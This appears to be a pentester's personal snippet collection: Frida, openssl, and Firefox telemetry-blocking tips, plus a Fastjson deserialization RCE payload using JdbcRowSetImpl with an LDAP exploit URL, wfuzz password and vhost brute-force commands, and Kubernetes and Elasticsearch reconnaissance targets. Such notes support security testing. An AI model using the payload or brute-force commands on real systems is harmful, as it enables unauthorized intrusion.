k3mlol

Process.enumerateModules({
    onMatch(module) {
      console.log(`Loaded module: ${module.name} - ${module.path}`);
    },
    onComplete() {
      console.log('Module enumeration complete');
    }
  });

k3mlol

Basically there are two CER certificate encoding types, DER and Base64. When type DER returns an error loading certificate (asn1 encoding routines), try the PEM and it shall work.

openssl x509 -inform DER -in certificate.cer -out certificate.crt

openssl x509 -inform PEM -in certificate.cer -out certificate.crt

k3mlol

127.0.0.1 push.services.mozilla.com
127.0.0.1 firefox.settings.services.mozilla.com
127.0.0.1 contile.services.mozilla.com
127.0.0.1 detectportal.firefox.com
127.0.0.1 shavar.services.mozilla.com
127.0.0.1 bam-cell.nr-data.net
127.0.0.1 bat.bing.com
127.0.0.1 aus5.mozilla.org
127.0.0.1 classify-client.services.mozilla.com
127.0.0.1 content-signature-2.cdn.mozilla.net

k3mlol

ff turn off search bar suggest https://www.reddit.com/r/firefox/comments/nqsymt/how_to_disable_search_in_adress_bar/

1. about:config
2. handoff
3. Double-click the browser.newtabpage.activity-stream.improvesearch.handoffToAwesomebar preference to switch the value from true to false

k3mlol

shiro fix tips 直接升级到1.7.0以上，直接升到最新。 不要使用硬编码，默认来说会自动生成secret key。

• http://www.lmxspace.com/2019/10/17/Shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AE%B0%E5%BD%95/

k3mlol

history

//https://mntn0x.github.io/2020/04/07/Fastjson%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/#1-2-23%E7%89%88%E6%9C%AC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE

1.2.23版本反序列化RCE

只需要在json的key中加上@type即可。由于一开始Fastjson默认支持该属性，即可默认反序列化任意类

1.2.47版本反序列化RCE

无需开启autoType {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit","autoCommit":true}}}

k3mlol

8080/6443 kube-apiserver
10250/10255/4149 kubelet
2379 etcd
30000 dashboard
2375 docker api
10256 kube-proxy
9099 calico-felix
9090 prometheus

k3mlol

http://localhost:9200/_cat/indices

http://localhost:9200/_river/_search

http://localhost:9200/_nodes

http://localhost:9200/_plugin/head/

k3mlol

usage

scan vhost
wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.host.com" --hc 200 --hw 356 -t 100 10.10.10.101

wfuzz -c -w -d "password=FUZZ" -u "http://IP_ADDRESS" --hh 474 -t 42
-c Output text with colors nice feature.
-w wordlist
-d Post-Data request
-u url

k3mlol

#!/bin/bash
yum install libcurl-devel
pip install wfuzz